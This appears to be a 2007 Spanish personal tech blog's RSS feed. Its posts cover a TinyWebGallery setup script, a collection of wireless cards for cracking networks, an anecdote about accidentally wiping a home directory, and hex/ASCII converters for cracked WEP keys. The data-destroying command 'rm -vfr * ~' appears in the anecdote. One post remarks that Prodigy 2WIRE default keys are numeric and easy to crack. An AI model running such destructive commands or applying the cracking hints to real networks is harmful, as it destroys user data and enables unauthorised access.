			<content:encoded><![CDATA[<p><img  align=left id="image47" src="http://hackarandas.com/blog/wp-content/uploads/2007/04/mona-lisa-monalisa.miniatura.jpg" alt="Monalisa" /> Pues ya por fin pude crear la galería y es que quería ponerla de cierta forma en particular, ya saben, soy de esos que si no cuestan uno y la mitad del otro no me sabe. Quería poner la galería de forma que no usara un servicio externo como <a href="http://www.flicker.com/">Flicker</a>, que se  crearan los thumbs de forma dinámica y que no tuviera que usar el MySQL.</p>
<p>Encontré el <a href="http://www.tinywebgallery.com/index.php?twg_lang=en">Tiny Web Gallery</a> que sobrepasó mis expectativas, aparte de que es realmente fácil de utilizar y administrar. ¿No te ha pasado que tienes cientos de pics pero el problema es que hiciste respaldo en multiples directorios en diferentes partes de tu sistema? En fin, hice un script que me automatiza la creación de la galeria escalando las imágenes a 800&#215;600, ordenándolas y etiquetándolos con una leyenda que describa la situación del evento, para muestra un botón:</p>
<p><center><a  class="imagelink" href="http://hackarandas.com/blog/wp-content/uploads/2007/04/lentes.jpg" title="Adrian con lentes"><img id="image48" src="http://hackarandas.com/blog/wp-content/uploads/2007/04/lentes.miniatura.jpg" alt="Adrian con lentes" /></a></center></p>
<p>En mi caso me bajé el <a href="http://www.apachefriends.org/en/xampp.html">XAMPP</a> que es un excelente proyecto de que incluye Apache, PHP 4 o 5 y MySQL extremadamente amigable para administrar. Vamos a <a href="http://www.apachefriends.org/en/xampp-linux.html#374">descargarlo aqui</a> y <a href="http://http://www.apachefriends.org/en/xampp-linux.html#377">seguimos las instrucciones</a>, es importante cambiarle las contraseñas a los servicios de XAMPP para un servidor en producción sino luego no chilles si te cambian la página de inicio. Recuerda que el TWG funciona con PHP4 al menos yo no lo he probado con el PHP5 asi que cambiamos con el siguiente comando:</p>
<p><code>sudo /opt/lampp/lampp security<br />
sudo /opt/lampp/lampp php4<br />
sudo /opt/lampp/lampp  restart<br />
</code></p>
<p>Ahora descargamos el <a href="http://www.tinywebgallery.com/en/index.htm">TWG de aqui</a> lo descargamos en <em>/tmp </em>y lo ponemos en la siguiente carpeta <em>/opt/lampp/htdocs</em>. Es importante cambiarle el grupo y darle permisos de escritura al apache pues de otra forma no podremos administar e TWG.</p>
<p><code>cd /opt/lampp/htdocs/<br />
unzip -a /tmp/twg*.zip<br />
mv twg* galeria<br />
chgrp -R nobody galeria<br />
chmod -R g+w galeria<br />
</code></p>
<p>Listo! ya tenemos instalado el Apache con el PHP4 y el TWG en nuestra máquina y podemos verlo andar en la siguiente direccion <a href="http://localhost/galeria">http://localhost/galeria</a> . Debes de poder ver la galería de prueba, cosa que queremos pues significa que el &#8220;juguete&#8221; está andando, después puedes borrar esta galeria para sólo dejar la tuya. Ahora vamos a administrarla, RECUERDA CAMBIAR LOS PERMISOS. entramos a la siguiente dirección <a href="http://localhost/galeria/admin/index.php">http://localhost/galeria/admin/index.php</a> con el usuario <em>admin</em> y la contraseña <em>twg_admin</em> y nos llevará a la primera página de administración donde no exhorta cambiar el passwd cosa que recomiendo ampliamente así como cambiar el login del usuario por defecto por uno menos convencional, ya sabes, vivo en la paranoia.</p>
<p>  Para irnos directo: en el menú izquierdo vemos una liga que dice &#8220;<em>Configure TWG</em>&#8221; la pulsamos y en la opción &#8220;<em>Enable session caching of directorys and files</em>&#8221; le damos <em>false</em>. Cuando estamos actualizando la galeria es bueno tenerlo en <em>false</em> así regenera el caché y podemos ver la galeria terminada. Cuando acabemos no olvides poner en <em>true</em> esta opción, es mucho mas óptimo tenerlo habilitado cuando ya se encuentra en producción. Las imágenes se guardan en carpetas en la siguiente dirección <em> /opt/lampp/htdocs/galeria/pictures</em> Cada galeria le puedes poner una carpeta y dentro de cada carpeta puedes poner una imagen llamada <em>folder.png</em> para que sea el ícono de la Galeria así como un archivo foldername.txt para la descripción donde puedes poner HTML y hacerlo mas &#8220;<em>eye candy</em>&#8220;.</p>
<p>Vamos al famoso Script que nos automatizará la tarea de procesamiento de imágenes. Es importente tener el comando convert del <a href="http://www.imagemagick.org/">Imagemagick</a>. El <a id="p50" rel="attachment" href="http://hackarandas.com/blog/2007/03/15/habemus-galeria/script-dogallery/" title="Script doGallery">script doGallery</a></p>
<blockquote><pre>#!/bin/bash
# Script hecho por Adrian Puente.

if [ $# -lt 2 ]
then
        echo -e "Sintaxis: `basename ${0}` [Prefix Pics] ["Desc"]"
        echo -e "Ejemplo: `basename ${0}` navidad.familia.2007 \"Navidad con la Familia 2007\".\n"
        echo -e "Es importante poner las descripciones con espacios entre comillas."
        echo -e "Terminando el script una carpeta 800x600 contendra las imagenes procesadas."
        exit 0
fi

[ -f PROCESADO.TXT ] &#038;&#038; cat PROCESADO.TXT &#038;&#038; echo "Borrar el archivo PROCESADO.TXT" &#038;&#038; exit 

PREF=${1}
DESC=${2}
OK="\033[5;32;1mHECHO\033[0m"
NO="\033[5;31;1mERROR\033[0m"

[ ! -d 800x600 ] &#038;&#038; mkdir 800x600
# Renombramos las pics para mayor comodidad.
CTR=0;
for i in `ls -1 *.jpg *.JPG`
do
        if [ ${CTR} -lt 10 ]
        then
                NUM=00${CTR}
        else if [ ${CTR} -lt 100 ]
        then
                        NUM=0${CTR}
                else
                        NUM=${CTR}
                fi
        fi
        CTR=`expr ${CTR} + 1`
        echo -en "Convirtiendo ${i} --> ${PREF}-${NUM}.jpg "
        convert ${i} -scale 800x600 -fill white \
                     -box \#00000080 -gravity South \
                     -pointsize 25 -annotate +0+5 "${DESC}" \
                     800x600/${PREF}-${NUM}.jpg &#038;&#038; echo -e [${OK}] || echo -e [${NO}]
done

echo ${DESC} > 800x600/foldername.txt
echo -e "Directorio procesado para galeria el "`date +%F` > PROCESADO.TXT
</pre>
</blockquote>
<p>El script te crea un archivo <em>foldername.txt</em>  con la descripción que escogimos que es compatible con el TWG, también crea un archivo llamado PROCESADO.TXT que guarda la fecha en que esa carpeta fue procesada para no tener múltiples instancias de las carpetas procesadas. Ahora renombramos la carpeta 800&#215;600 con un nombre que describa la situación, no sé, <em>mi_cumple_2007</em>, cuando termino restauro la opción del cache y en mi caso sincronizo los directorios con rsync, así puedo tener la galeria &#8220;en desarrollo&#8221; en mi máquina y cuando queda como quiero la subo, así tengo respaldo y no consumo el ancho de banda de mi site, ok muy ñoño pero no hay porqué ser ineficientes.   </p>
<p><code>rsync --progress -avz -e ssh /opt/lampp/htdocs/galeria usuario@sitioweb:camino/a/los/htdocs<br />
</code></p>
<p>Si tienes algún problema extraño recuerda los permisos . En mi caso mi usuario y grupo en el sitio web es diferente al que tengo en mi máquina así que es bueno verificar los permisos de los grupos. Si quieres aumentarle la seguridad a tu sitio cambia el nombre de la carpeta admin por algún nombre difícil de adivinary accesa por la misma carpeta /index.php. Listo! la galeria ha sido creada. Enjoy</p>
<p>La galería de este su Blog es: <a href="http://http://www.hackarandas.com/galeria">http://www.hackarandas.com/galeria</a></p>
<p><em>Adrián Puente Z.</em></p>
]]></content:encoded>
			<wfw:commentRSS>http://hackarandas.com/blog/2007/03/15/habemus-galeria/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Adicciones&#8230;</title>
		<link>http://hackarandas.com/blog/2007/03/03/adicciones/</link>
		<comments>http://hackarandas.com/blog/2007/03/03/adicciones/#comments</comments>
		<pubDate>Sat, 03 Mar 2007 17:24:37 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
		
	<category>Artículos</category>
		<guid isPermaLink="false">http://hackarandas.com/blog/2007/03/03/adicciones/</guid>
		<description><![CDATA[ Yo no sé en que momento me vi envuelto en esta adicción sino mas bien descubrí que la tenía cuando encontré un buen bonche de tajetas de red inalámbricas en mi mochila. Ya sabes volviendo atrás recuerdo como me la mostraban y casi babeando sin consciencia de mi mi mano, cual poseída, sacaba el [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" id="image38" src="http://hackarandas.com/blog/wp-content/uploads/2007/03/radiohead_bear_blue.miniatura.jpg" alt="Blue Bear" /> Yo no sé en que momento me vi envuelto en esta adicción sino mas bien descubrí que la tenía cuando encontré un buen <em>bonche</em> de tajetas de red inalámbricas en mi mochila. Ya sabes volviendo atrás recuerdo como me la mostraban y casi babeando sin consciencia de mi mi mano, cual poseída, sacaba el dinero de mi cartera, &#8220;total 300 pesos no es tanto&#8221;. Bueno&#8230; ahora tengo una colección de 7 tarjetas: 2 pcmcia y 5 USB mas las que tienen las 2 Laptops, una Centrino y otra Ralink.</p>
<p>¿Porqué nació esta adicción? Creo que ha sido mi obsesión por encontrar la tarjeta de red perfecta para romper redes inalámbricas entonces me vi envuelto en la modificación (mas bien destrozamiento) de mi tarjeta WUSB54G para añadirle una antena de 9 dbi y me detuve con la frustración de la tarjeta X-Media que nunca me funcionó.</p>
<p>Bueno todo esto viene a que ando escribiendo un artículo de cómo romper redes inalámbricas y entre mis tarjetas que funcionan con el <a href="http://www.remote-exploit.org/backtrack.html">Backtrack</a> y el <a href="http://www.wifislax.com/">WifiSlax</a> estos son mis favoritos:</p>
<p><a class="imagelink" href="http://hackarandas.com/blog/wp-content/uploads/2007/03/dwl-g650_view.jpg" title="AirPlus Xtreme G"><img align=right id="image40" src="http://hackarandas.com/blog/wp-content/uploads/2007/03/dwl-g650_view.miniatura.jpg" alt="AirPlus Xtreme G" /></a> La DWL-G650 de D-Link. La mejor tarjeta que he tenido. Con esta mi <a href="href="http://hackarandas.com/blog/wp-content/uploads/2007/03/record.png"">récord sobre una red de Prodigy es de 18 mins</a> y si le pones una moneda de 10 pesos aumentas su alcance (por ridículo que suene). El problema es que la tecnología <a href="http://es.wikipedia.org/wiki/PCMCIA"><em>pcmcia</em></a> está de salida y ya las nuevas laptops no la usan. Lo interesante de esta tarjeta es que tiene <a href="http://es.wikipedia.org/wiki/Chipset_Prism">chipset Prism</a> que permite la inyección de paquetes. Esta tarjeta la uso en una máquina Pentium con 32 de RAM que sólo tiene Backtrack instalado y funciona de maravilla.</p>
<p><a class="imagelink" href="http://hackarandas.com/blog/wp-content/uploads/2007/03/linksys_wusb54g_wireless-g_usb_network_adapter-resized200.jpg" title="WUSB54G de Linksys"><img align=left id="image41" src="http://hackarandas.com/blog/wp-content/uploads/2007/03/linksys_wusb54g_wireless-g_usb_network_adapter-resized200.miniatura.jpg" alt="WUSB54G de Linksys" /></a> El dispositivo WUSB54G es muy bueno y al ser conectado por USB puedes conectarlo donde sea. Tiene un chipset Ralink que detecta perfectamente el Backtrack como <em>rausb0</em> y es relativamente barato. En lo que se refiere a inyección de paquetes es muy lento y se llega a trabar por lo que desarrollé un script para que reiniciara la inyección cada X tiempo. Es mi segunda favorita y hay la posibilidad de <a href="http://www.egidy.de/wifi/wusb54g/">adaptarle una antena</a> para aumentar su alcance. Yo estoy haciendo el intento pero he descubierto que soy particularmente torpe al usar el cautín destruyendo todo en un rango de metro y medio.</p>
<p> <a class="imagelink" href="http://hackarandas.com/blog/wp-content/uploads/2007/03/averatec.jpg" title="Laptop Averatec"><img id="image43"  align=right src="http://hackarandas.com/blog/wp-content/uploads/2007/03/averatec.miniatura.jpg" alt="Laptop Averatec" /></a>También tengo una vieja latop Averatec que tiene igualmente el chipset Ralink y funciona de maravilla hasta que le troné el procesador por calor. El problema fue que no hallaba quien me la arreglara hasta que hallé al Ingeniero Miguel en la plaza de la computación en lel piso de arriba en el local 62 por la zona de comida. Me eché la laptop al intentar reconstruirle el cargador y genero mal la corriente aparte de que un ventilador le falló y ya no enfriaba. Ahora le compré una de esas <a href="http://hackarandas.com/blog/wp-content/uploads/2007/03/delli9400.jpg">bases con ventiladores</a>.</p>
<p><a class="imagelink" href="http://hackarandas.com/blog/wp-content/uploads/2007/03/delli9400.jpg" title="Laptop Dell Inspiron"><img id="image44" align=left src="http://hackarandas.com/blog/wp-content/uploads/2007/03/delli9400.miniatura.jpg" alt="Laptop Dell Inspiron" /></a> Al parecer el chipset <a href="http://es.wikipedia.org/wiki/Centrino">Centrino</a> tiene la capacidad para inyectar paquetes y poder romper redes usando el <em>aireplay-ng</em> parchado que ya trae Wifislax. La verdad es un maquinón y a diferencia de otras personas Dell nunca me ha dado problemas, en fin&#8230; de todas formas es la máquina de la oficina.</p>
<p>Ya para terminar a mi chica le compré una <a href="http://hackarandas.com/blog/wp-content/uploads/2007/03/enuwi-g_386.jpg">tarjeta de red Encore</a> muy muy barata y muy muy buena. Normalmente la calidad del hardware es proporcional al precio pero esta tarjeta realmente rompió con los esquemas, hasta ha funcionado mejor que otras que son mas caras y se ven mas finas. Por otro lado compré 2 tarjetas XMedia y ambas tienen chipset Ralink pero aún asi no le ganaron a la tarjeta Encore. Por otro lado la tarjeta XMedia IT-WL542 tiene Chipset Ralink y la detecta el Bactrack 2 Final la echó a andar y duró como 5 mins funcionando pero de ahi en fuera ni Ubuntu ni Debian me la detectaron bien. La verdad no la recomiendo para Linux aunque está muy barata la tarjeta ya para <a href="http://es.wikipedia.org/wiki/Hasefroch">Hasefroch</a> es otra historia.</p>
<p>Por lo pronto tengo que encontrarle un bonito hogar al montón de tarjetas que realmente no utilizo y tratar de contenerme mas pues me hace mas falta ropa que hardware. ¿Alguien está interesado en una tarjeta pcmcia bla?</p>
<p><em>Adrián Puente Z.</em></p>
]]></content:encoded>
			<wfw:commentRSS>http://hackarandas.com/blog/2007/03/03/adicciones/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Más salado que el chamoy&#8230;</title>
		<link>http://hackarandas.com/blog/2007/02/17/mas-salado-que-el-chamoy/</link>
		<comments>http://hackarandas.com/blog/2007/02/17/mas-salado-que-el-chamoy/#comments</comments>
		<pubDate>Sun, 18 Feb 2007 02:17:12 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
		
	<category>Experiencias y Narraciones</category>
		<guid isPermaLink="false">http://hackarandas.com/blog/2007/02/17/mas-salado-que-el-chamoy/</guid>
		<description><![CDATA[  Ya sabes es uno de esos dias en que tomas valor para seguir con la tésis. Haz logrado sacudirte el letargo, la flojera y la decidia y simplemente no hallas mejor pretexto para no ponerte a hacerla. Te sientas, presionas el botón de encendido, te truenas los nudillos, el cuello, suspiras y ¡¡¡MOÑO!!! [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" id="image33" src="http://hackarandas.com/blog/wp-content/uploads/2007/02/chamoy.miniatura.jpg" alt="Chamoooy" />  Ya sabes es uno de esos dias en que tomas valor para seguir con la tésis. Haz logrado sacudirte el letargo, la flojera y la decidia y simplemente no hallas mejor pretexto para no ponerte a hacerla. Te sientas, presionas el botón de encendido, te truenas los nudillos, el cuello, suspiras y ¡¡¡MOÑO!!! La máquina no arranca &#8220;<em>¡¡ME LLEVA LA [adjetivo de catársis inmediata]</em>!!&#8221; y empiezas a enumerar la posibles causas: recuerdas haber corrido alguna actualización de tu sistema, seguro es el nuevo kernel, o el grub,   puts que no sea el sector de arranque. Después de <em>googlearle</em> encuentras significado a la interminable iteración de ceros que recorren tu pantalla. Conclusión el Grub.</p>
<p>Sacas cuanto disco de <em>recuperación</em> tienes: Ubuntu Live, Ubuntu Alternate, Knoppix, Hiren&#8217;s, Techiez y los vas probando uno a uno sin mucho éxito, después de hora y media recuerdas un disco de antaño que tenía cierto script de restauración&#8230; mmm si, ¿cual era? y te echas un clavado entre tus torres de discos y sacas, cual buzo saca un doblón español del navío hundido, el disco de <em>Viva Linux</em> (muy buena distro, por cierto) booteas y cual arte de magia restauras el grub&#8230; de haberte acordado antes :S</p>
<p>Bueno, en fin&#8230; nuevamente a la ceremonia <em>pro tésis</em>,<em>booteas</em>, te <em>logeas</em> e ingresas al sistema intentas recordar dónde te quedaste, abres tu editor de latex ¡¡pero no puedes trabajar en tal chiquero!! tantos archivos temporales, borrémos a esas malditas sabandijas&#8230;</p>
<p><code><br />
      --.^       (apuente@TEST5)*(21:44:07)*(tesis_completa)      ^.--<br />
-=:)> rm -vfr * ~<br />
removed `agradecimientos.tex'<br />
removed `Cap01.tex'<br />
removed `Cap02.tex'<br />
removed `Cap03.tex'<br />
removed `Cap04.tex'<br />
removed `Cap05.tex'<br />
removed `Cap06.tex'<br />
removed `Cap07.tex'<br />
.....<br />
removed `/home/apuente/Examples'<br />
removed `/home/apuente/.Xauthority'<br />
removed `/home/apuente/.evolution/calendar/config/TaskPad'<br />
removed `/home/apuente/.evolution/calendar/config/index_images-00.html'<br />
removed `/home/apuente/.evolution/calendar/config/.sizecache'<br />
removed directory: `/home/apuente/.evolution/calendar/config'<br />
removed `/home/apuente/.evolution/calendar/local/system/calendar.ics'<br />
.....<br />
</code></p>
<p> De pronto un sudor frío te recorre la espalda, contienes la respiración y casi puedes sentir como se dilatan tus pupilas&#8230; acabas de hacer una <em>GRAN PENDEJADA</em> y te das cuenta cómo un caracter  tan insignificante como el espacio puede hacer la diferencia (no sólo has borrado tu tésis sino todos tus archivos de tu directorio base)&#8230; Desesperado intentas recordar cierto artículo de forencia y de cómo recuperar tus archivos, recuerdas cierta herramienta que recupera <em>ext3</em> pero sólo corre en <em>Windows</em> y maldices tu terquedad por sólo usar <em>Linux</em> mientras extrañas tu partición con <em>WinXP</em> que acabas de formatear y llenar con MP3s, <em>googleas</em> y <em>googleas</em> durante horas, intentas <em>trucos</em> como el <em>debugfs, recover, unrm, magicrescue, grep, strings</em> y NADA. De pronto entre las líneas del Google ves una liga que te llama la ateción y la pulsas:</p>
<blockquote><p>
<strong>Q: How can I recover (undelete) deleted files from my ext3 partition?</strong></p>
<p>Actually, you can&#8217;t! This is what one of the developers, Andreas Dilger, said about it:</p>
<p>In order to ensure that ext3 can safely resume an unlink after a crash, it actually zeros out the block pointers in the inode, whereas<br />
ext2 just marks these blocks as unused in the block bitmaps and marks the inode as &#8220;deleted&#8221; and leaves the block pointers alone.</p>
<p>Your only hope is to &#8220;grep&#8221; for parts of your files that have been deleted and hope for the best.
</p></blockquote>
<p>  Sin más que discutir cierras el sistema y te das cuenta que haz perdido 6 horas, no sólo no haz tocado tu tésis sino la haz destruido con quien sabe cuantos archivos invaluables, tus scripts, fotos y el útimo respaldo tiene mas de 8 meses&#8230; ni qué decir, es uno de esos dias que no encuentras disparatado poner tu franquicia de Helados Santa Clara y mandar a la chingada la informática&#8230;</p>
<p><strong><em>Adrián Puente Z.</em></strong>
</p>
]]></content:encoded>
			<wfw:commentRSS>http://hackarandas.com/blog/2007/02/17/mas-salado-que-el-chamoy/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Oda al Mr Glade</title>
		<link>http://hackarandas.com/blog/2007/02/15/oda-al-mr-glade/</link>
		<comments>http://hackarandas.com/blog/2007/02/15/oda-al-mr-glade/#comments</comments>
		<pubDate>Fri, 16 Feb 2007 03:51:48 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
		
	<category>Experiencias y Narraciones</category>
		<guid isPermaLink="false">http://hackarandas.com/blog/2007/02/15/oda-al-mr-glade/</guid>
		<description><![CDATA[ Cada generación cuenta con su espontáneo que no duda en compartir con sus compañeros lo mejor de sí, todo, hasta el último y mas minúsculo suspiro que puedan contener sus entrañas (literalmente). Este pequeño y curioso ser no duda, sin pena ni gloria expresar su más estruendosa opinión ya sea verbalmente o utilizando la [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" id="image37" src="http://hackarandas.com/blog/wp-content/uploads/2007/02/mrglad3.miniatura.jpg" alt="Mr Glade en Acción..." /> Cada generación cuenta con su espontáneo que no duda en compartir con sus compañeros lo mejor de sí, todo, hasta el último y mas minúsculo suspiro que puedan contener sus entrañas (literalmente). Este pequeño y curioso ser no duda, sin pena ni gloria expresar su más estruendosa opinión ya sea verbalmente o utilizando la parte inferior de su cuerpo. Sí, porque  a este personaje se le debe de admirar y respetar por el control interior que poseé para siempre poder tener la última palabra aún sin mover la boca, no importando la ocasión, el tema o el clima.</p>
<p>Si, Mr Glade, tú sabes quién eres y te regodeas en tu crapulencia mientras portas con orgullo tu estandárte. Tú que eres aquél que desaloja el elevador de la biblioteca en segundos o destruyes el silencio del cuarto mas amplio de una sola estocada. Porque eres un buen amigo, una vez mas la tecnología avanza y busca la manera de reintegrarte a la sociedad como el ser útil y agradable que eres. Este producto está pensado en ti y lo encuentro aún mas útil que el silbato que alguna vez se anunciara en los juguetes Radioactivos.</p>
<div class="wpv_videoc">
<div class="wpv_self"><a href="http://www.skarcha.com/wp-plugins/wpvideo/">WPvideo 1.10</a></div>
<div class="wpv_video"><embed src="http://www.metacafe.com/fplayer/403079/new_from_glade.swf" width="100%" height="100%" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash"></embed></div>
<div class="wpv_titleauthor">New From Glade</div>
<div class="wpv_download"><a target="_blank" href="http://downthisvideo.com/?url=http://www.metacafe.com/watch/403079/new_from_glade/">Descarga este video!</a></div>
</div>
<p>Aunque este post es grotesco no podía dejar de aprovechar la genialidad ajena para dedicarte el homenaje que mereces, tú que siempre tuviste la capacidad de sacarme de mis casillas con tus super poderes y técnicas de guerrilla cómo las <em>pruebas de estrés</em>&#8230;</p>
<p><em><strong>Adrián Puente Z.</strong></em>
</p>
]]></content:encoded>
			<wfw:commentRSS>http://hackarandas.com/blog/2007/02/15/oda-al-mr-glade/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Hex 2 ASCII y viceversa</title>
		<link>http://hackarandas.com/blog/2007/02/13/hex-2-ascii-y-viceversa/</link>
		<comments>http://hackarandas.com/blog/2007/02/13/hex-2-ascii-y-viceversa/#comments</comments>
		<pubDate>Tue, 13 Feb 2007 19:10:23 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
		
	<category>c0de</category>
		<guid isPermaLink="false">http://hackarandas.com/blog/2007/02/22/hex-2-ascii-y-viceversa/</guid>
		<description><![CDATA[He estado jugando un poco con redes inalámbricas y cuando logras romper alguna de 64 bits la llave te sale en Hexadecimal. Se me ocurrió que a lo mejor podría significar algo en ASCII asi que pensé en hacerme un pequeño script para convertirlo rápidamente.  Encontrar un ejemplo práctico fue difícil asi que comparto [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" id="image30" src="http://hackarandas.com/blog/wp-content/uploads/2007/02/hex.miniatura.gif" alt="Hexadecimal." />He estado jugando un poco con redes inalámbricas y cuando logras romper alguna de 64 bits la llave te sale en Hexadecimal. Se me ocurrió que a lo mejor podría significar algo en ASCII asi que pensé en hacerme un pequeño script para convertirlo rápidamente.  Encontrar un ejemplo práctico fue difícil asi que comparto este script para el deleite de otro g33k.</p>
<p><strong>ascii2hex.pl</strong></p>
<blockquote><div class="perl" style="font-size: 12px; padding: 0.5em; color: black; background-color: #FFFFFF; overflow: auto;"><span style="color: #808080; font-style: italic;">#!/usr/bin/perl</span><br />
<span style="color: #808080; font-style: italic;"># Script editado por Adrian Puente Z.</span><br />
<br />
<span style="color: #000000; font-weight: bold;">use</span> strict;<br />
<span style="color: #000000; font-weight: bold;">use</span> warnings;<br />
<br />
<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span> $<span style="color: #808080; font-style: italic;">#ARGV == -1 )</span><br />
<span style="color: #66cc66;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.perldoc.com/perl5.6/pod/func/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;Sintaxis: ascii2hex.pl [cadena ASCII]<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.perldoc.com/perl5.6/pod/func/exit.html"><span style="color: #000066;">exit</span></a>;<br />
<span style="color: #66cc66;">&#125;</span><br />
<br />
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$testchars</span> = <span style="color: #0000ff;">$ARGV</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span>;<br />
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hexchars</span> = <span style="color: #ff0000;">''</span>;<br />
<span style="color: #b1b100;">foreach</span> <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$c</span> <span style="color: #66cc66;">&#40;</span><a href="http://www.perldoc.com/perl5.6/pod/func/split.html"><span style="color: #000066;">split</span></a><span style="color: #66cc66;">&#40;</span>//,<span style="color: #0000ff;">$testchars</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">$hexchars</span> .= <a href="http://www.perldoc.com/perl5.6/pod/func/sprintf.html"><span style="color: #000066;">sprintf</span></a> <span style="color: #ff0000;">&quot;%x&quot;</span>, <a href="http://www.perldoc.com/perl5.6/pod/func/ord.html"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$c</span><span style="color: #66cc66;">&#41;</span>;<br />
<span style="color: #66cc66;">&#125;</span><br />
<a href="http://www.perldoc.com/perl5.6/pod/func/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;$hexchars<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>;</div>
</blockquote>
<p>Este Script hace lo contrario pero con otra aproximación:</p>
<p><strong>hex2ascii.pl</strong></p>
<blockquote><div class="perl" style="font-size: 12px; padding: 0.5em; color: black; background-color: #FFFFFF; overflow: auto;"><span style="color: #808080; font-style: italic;">#!/usr/bin/perl</span><br />
<span style="color: #808080; font-style: italic;"># Script editado por Adrian Puente Z.</span><br />
<br />
<span style="color: #000000; font-weight: bold;">use</span> strict;<br />
<span style="color: #000000; font-weight: bold;">use</span> warnings;<br />
<br />
<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span> $<span style="color: #808080; font-style: italic;">#ARGV == -1 )</span><br />
<span style="color: #66cc66;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.perldoc.com/perl5.6/pod/func/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;Sintaxis: hex2ascii.pl [cadena HEX]<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.perldoc.com/perl5.6/pod/func/exit.html"><span style="color: #000066;">exit</span></a>;<br />
<span style="color: #66cc66;">&#125;</span><br />
<br />
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$s</span> = <span style="color: #0000ff;">$ARGV</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span>;<br />
<span style="color: #0000ff;">$s</span> =~ <a href="http://www.perldoc.com/perl5.6/pod/func/s.html"><span style="color: #000066;">s</span></a>/://g;<br />
<span style="color: #0000ff;">$s</span> =~ <a href="http://www.perldoc.com/perl5.6/pod/func/s.html"><span style="color: #000066;">s</span></a>/ //g;<br />
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$l</span>=<a href="http://www.perldoc.com/perl5.6/pod/func/length.html"><span style="color: #000066;">length</span></a> <span style="color: #0000ff;">$s</span>;<br />
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">@a</span>=<a href="http://www.perldoc.com/perl5.6/pod/func/pack.html"><span style="color: #000066;">pack</span></a> <span style="color: #ff0000;">&quot;H$l&quot;</span>,<span style="color: #0000ff;">$s</span>;<br />
<a href="http://www.perldoc.com/perl5.6/pod/func/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;@a<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span></div>
</blockquote>
<p>El truco del hex2ascii es que cuando tienes una cadena de tipo <em>AE:34:DF:12</em> quita los caracteres <em>:</em> y lo convierte con la función <em>pack</em> de <em>perl</em>. Es cosa de checar la documentación para poder cambiar de otros formatos como binario a ASCII o HEX.</p>
<p>Ah, y no, no significan nada en ASCII, los que yo encontré. Normalmente en los routers <em>2WIRE</em> de <em>Prodigy</em> tienen una clave en la parte inferior del dispositivo que, por lo que he visto, son siempre números facilitando <em>mucho</em> el rompimiento de la llave de la red.</p>
<p><strong><em>Adrián Puente Z.</em></strong>
</p>
]]></content:encoded>
			<wfw:commentRSS>http://hackarandas.com/blog/2007/02/13/hex-2-ascii-y-viceversa/feed/</wfw:commentRSS>
		</item>
	</channel>
</rss>
